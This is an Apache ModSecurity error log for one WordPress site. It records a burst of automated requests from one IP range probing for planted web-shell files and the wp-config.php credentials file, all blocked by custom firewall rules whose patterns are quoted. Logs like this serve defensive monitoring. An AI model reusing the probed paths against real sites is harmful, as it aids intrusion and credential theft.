[Thu May 07 15:27:25.054418 2026] [:error] [pid 28098:tid 28116] [client 98.159.43.161:31369] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/vendor/stripe/stripe-php/lib/Service/FinancialConnections/"] [unique_id "afw-3cvhwfljlt8trSqLAQAAAFA"]
[Thu May 07 15:27:25.251828 2026] [:error] [pid 15715:tid 15726] [client 98.159.43.113:39831] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-excerpt-meta.php"] [unique_id "afw-3SY4dZsLOttMkcdfggAAAQk"]
[Thu May 07 15:27:25.450649 2026] [:error] [pid 15715:tid 15725] [client 98.159.43.130:41973] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/module.audio-video.riff-http.php"] [unique_id "afw-3SY4dZsLOttMkcdfgwAAAQg"]
[Thu May 07 15:27:25.650282 2026] [:error] [pid 28098:tid 28120] [client 98.159.43.136:65179] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/admin.php"] [unique_id "afw-3cvhwfljlt8trSqLAwAAAFQ"]
[Thu May 07 15:27:25.847718 2026] [:error] [pid 15629:tid 15635] [client 98.159.43.135:37251] [client 98.159.43.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin.php"] [unique_id "afw-3frIJCALdUrO43lX_wAAAAI"]
[Thu May 07 15:27:26.044302 2026] [:error] [pid 28098:tid 28109] [client 98.159.43.146:45955] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "afw-3svhwfljlt8trSqLBAAAAEk"]
[Thu May 07 15:27:26.241912 2026] [:error] [pid 15629:tid 15657] [client 98.159.43.130:48217] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/thickbox/logs1.php"] [unique_id "afw-3vrIJCALdUrO43lYAAAAABg"]
[Thu May 07 15:27:26.441115 2026] [:error] [pid 15629:tid 15648] [client 98.159.43.134:43625] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/admin.php"] [unique_id "afw-3vrIJCALdUrO43lYAQAAAA8"]
[Thu May 07 15:27:26.647715 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.161:22017] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/xy.php"] [unique_id "afw-3svhwfljlt8trSqLBQAAAFI"]
[Thu May 07 15:27:26.848566 2026] [:error] [pid 15630:tid 15666] [client 98.159.43.121:32029] [client 98.159.43.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/xy.php"] [unique_id "afw-3nTithRAi4821quP8QAAAIY"]
[Thu May 07 15:27:27.046343 2026] [:error] [pid 15631:tid 15687] [client 98.159.43.156:47719] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/footer-class.php"] [unique_id "afw-33vP1GkPUuuLfqUNKgAAAMA"]
[Thu May 07 15:27:27.246936 2026] [:error] [pid 15631:tid 15705] [client 98.159.43.113:39067] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/good.php"] [unique_id "afw-33vP1GkPUuuLfqUNKwAAANI"]
[Thu May 07 15:27:27.445214 2026] [:error] [pid 15631:tid 15707] [client 98.159.43.146:23187] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/editor/"] [unique_id "afw-33vP1GkPUuuLfqUNLAAAANQ"]
[Thu May 07 15:27:27.641520 2026] [:error] [pid 28098:tid 28110] [client 98.159.43.106:58361] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile/admin.php"] [unique_id "afw-38vhwfljlt8trSqLBwAAAEo"]
[Thu May 07 15:27:27.844901 2026] [:error] [pid 15631:tid 15711] [client 98.159.43.149:34073] [client 98.159.43.149] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/summia/"] [unique_id "afw-33vP1GkPUuuLfqUNLQAAANg"]
[Thu May 07 15:27:28.042686 2026] [:error] [pid 15631:tid 15704] [client 98.159.43.116:37281] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wp-content/languages/config.php"] [unique_id "afw-4HvP1GkPUuuLfqUNLgAAANE"]
[Thu May 07 15:27:28.242200 2026] [:error] [pid 15715:tid 15718] [client 98.159.43.163:52967] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wp-content/admin.php"] [unique_id "afw-4CY4dZsLOttMkcdfhQAAAQE"]
[Thu May 07 15:27:28.439527 2026] [:error] [pid 28098:tid 28112] [client 98.159.43.136:42919] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/autoload_classmap.php"] [unique_id "afw-4Mvhwfljlt8trSqLCAAAAEw"]
[Thu May 07 15:27:28.635283 2026] [:error] [pid 15629:tid 15646] [client 98.159.43.110:43285] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/h2.php"] [unique_id "afw-4PrIJCALdUrO43lYAgAAAA0"]
[Thu May 07 15:27:28.836167 2026] [:error] [pid 15715:tid 15721] [client 98.159.43.120:49427] [client 98.159.43.120] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/mu-plugins/chosen.php"] [unique_id "afw-4CY4dZsLOttMkcdfhgAAAQQ"]
[Thu May 07 15:27:29.034281 2026] [:error] [pid 15715:tid 15737] [client 98.159.43.107:43029] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade-temp-backup/autoload_classmap.php"] [unique_id "afw-4SY4dZsLOttMkcdfhwAAARE"]
[Thu May 07 15:27:29.231882 2026] [:error] [pid 15715:tid 15740] [client 98.159.43.130:25361] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/Base.php"] [unique_id "afw-4SY4dZsLOttMkcdfiAAAARQ"]
[Thu May 07 15:27:29.433702 2026] [:error] [pid 15715:tid 15744] [client 98.159.43.113:64315] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins.bk/contact-form-7/includes/js/jquery-ui/themes/admin.php"] [unique_id "afw-4SY4dZsLOttMkcdfiwAAARg"]
[Thu May 07 15:27:29.630866 2026] [:error] [pid 15630:tid 15671] [client 98.159.43.136:54965] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins.bk/js_composer/include/classes/vendors/plugins/system.php"] [unique_id "afw-4XTithRAi4821quP8wAAAIs"]
[Thu May 07 15:27:29.829905 2026] [:error] [pid 28098:tid 28100] [client 98.159.43.107:38131] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins.bk/wordpress-seo/admin/import/plugins/maintenance.php"] [unique_id "afw-4cvhwfljlt8trSqLCgAAAEA"]
[Thu May 07 15:27:30.027420 2026] [:error] [pid 28098:tid 28116] [client 98.159.43.110:40039] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/plugins/wp-mail.php"] [unique_id "afw-4svhwfljlt8trSqLCwAAAFA"]
[Thu May 07 15:27:30.309147 2026] [:error] [pid 28098:tid 28115] [client 98.159.43.108:49267] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-conflg.php"] [unique_id "afw-4svhwfljlt8trSqLDAAAAE8"]
[Thu May 07 15:27:30.514282 2026] [:error] [pid 15715:tid 15732] [client 98.159.43.113:40685] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-config.php"] [unique_id "afw-4iY4dZsLOttMkcdfjQAAAQw"]
[Thu May 07 15:27:30.745404 2026] [:error] [pid 15631:tid 15689] [client 98.159.43.119:57017] [client 98.159.43.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/lock.php"] [unique_id "afw-4nvP1GkPUuuLfqUNMAAAAMI"]
[Thu May 07 15:27:30.944650 2026] [:error] [pid 15715:tid 15726] [client 98.159.43.148:20583] [client 98.159.43.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/com.php"] [unique_id "afw-4iY4dZsLOttMkcdfjgAAAQk"]
[Thu May 07 15:27:31.143642 2026] [:error] [pid 15715:tid 15725] [client 98.159.43.144:24413] [client 98.159.43.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "afw-4yY4dZsLOttMkcdfjwAAAQg"]
[Thu May 07 15:27:31.343962 2026] [:error] [pid 15631:tid 15697] [client 98.159.43.110:56131] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/network/uploads/system.php"] [unique_id "afw-43vP1GkPUuuLfqUNMQAAAMo"]
[Thu May 07 15:27:31.541793 2026] [:error] [pid 15631:tid 15690] [client 98.159.43.122:65307] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/plugins/colors/"] [unique_id "afw-43vP1GkPUuuLfqUNMgAAAMM"]
[Thu May 07 15:27:31.739560 2026] [:error] [pid 15631:tid 15702] [client 98.159.43.150:33445] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/backups-dup-pro/imports/network/"] [unique_id "afw-43vP1GkPUuuLfqUNNAAAAM8"]
[Thu May 07 15:27:31.937891 2026] [:error] [pid 28098:tid 28111] [client 98.159.43.122:33167] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/ai1wm-backups/includes/"] [unique_id "afw-48vhwfljlt8trSqLEAAAAEs"]
[Thu May 07 15:27:32.140078 2026] [:error] [pid 15629:tid 15633] [client 98.159.43.138:63699] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "afw-5PrIJCALdUrO43lYBAAAAAA"]
[Thu May 07 15:27:32.338889 2026] [:error] [pid 15630:tid 15678] [client 98.159.43.116:59247] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "afw-5HTithRAi4821quP9AAAAJI"]
[Thu May 07 15:27:32.540074 2026] [:error] [pid 15629:tid 15638] [client 98.159.43.113:56019] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/panel.php"] [unique_id "afw-5PrIJCALdUrO43lYBQAAAAU"]
[Thu May 07 15:27:32.738308 2026] [:error] [pid 15629:tid 15651] [client 98.159.43.147:39441] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-themes.php"] [unique_id "afw-5PrIJCALdUrO43lYBgAAABI"]
[Thu May 07 15:27:32.936153 2026] [:error] [pid 15629:tid 15641] [client 98.159.43.145:35579] [client 98.159.43.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/maint/"] [unique_id "afw-5PrIJCALdUrO43lYBwAAAAg"]
[Thu May 07 15:27:33.138260 2026] [:error] [pid 15629:tid 15640] [client 98.159.43.131:20327] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Exception/Transport/"] [unique_id "afw-5frIJCALdUrO43lYCAAAAAc"]
[Thu May 07 15:27:33.337503 2026] [:error] [pid 15629:tid 15647] [client 98.159.43.160:57125] [client 98.159.43.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Response/"] [unique_id "afw-5frIJCALdUrO43lYCQAAAA4"]
[Thu May 07 15:27:33.535002 2026] [:error] [pid 15629:tid 15635] [client 98.159.43.163:59147] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-supports/wp-sing.php"] [unique_id "afw-5frIJCALdUrO43lYCgAAAAI"]
[Thu May 07 15:27:33.730831 2026] [:error] [pid 28098:tid 28108] [client 98.159.43.130:35143] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/button/"] [unique_id "afw-5cvhwfljlt8trSqLEQAAAEg"]
[Thu May 07 15:27:33.927926 2026] [:error] [pid 15629:tid 15648] [client 98.159.43.161:32063] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/media-text/"] [unique_id "afw-5frIJCALdUrO43lYDAAAAA8"]
[Thu May 07 15:27:34.126735 2026] [:error] [pid 15629:tid 15644] [client 98.159.43.116:54205] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/missing/"] [unique_id "afw-5vrIJCALdUrO43lYDQAAAAs"]
[Thu May 07 15:27:34.326051 2026] [:error] [pid 28098:tid 28110] [client 98.159.43.133:58367] [client 98.159.43.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "afw-5svhwfljlt8trSqLEgAAAEo"]
[Thu May 07 15:27:34.526354 2026] [:error] [pid 28098:tid 28112] [client 98.159.43.108:26981] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/img/content/media/lnl/"] [unique_id "afw-5svhwfljlt8trSqLEwAAAEw"]
[Thu May 07 15:27:34.731594 2026] [:error] [pid 28098:tid 28100] [client 98.159.43.106:42299] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/gallery/"] [unique_id "afw-5svhwfljlt8trSqLFAAAAEA"]
[Thu May 07 15:27:34.929025 2026] [:error] [pid 28098:tid 28116] [client 98.159.43.142:47917] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/includes/content/v2/uploads/docs/yat/admin.php"] [unique_id "afw-5svhwfljlt8trSqLFQAAAFA"]
[Thu May 07 15:27:35.129569 2026] [:error] [pid 28098:tid 28115] [client 98.159.43.145:24635] [client 98.159.43.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cache/adminkontol.php"] [unique_id "afw-58vhwfljlt8trSqLFwAAAE8"]
[Thu May 07 15:27:35.327851 2026] [:error] [pid 15630:tid 15683] [client 98.159.43.163:38523] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/vx.php"] [unique_id "afw-53TithRAi4821quP9QAAAJc"]
[Thu May 07 15:27:35.524873 2026] [:error] [pid 28098:tid 28113] [client 98.159.43.158:53723] [client 98.159.43.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/database/"] [unique_id "afw-58vhwfljlt8trSqLGAAAAE0"]
[Thu May 07 15:27:35.720330 2026] [:error] [pid 28098:tid 28120] [client 98.159.43.118:44841] [client 98.159.43.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/uploads/system.php"] [unique_id "afw-58vhwfljlt8trSqLGQAAAFQ"]
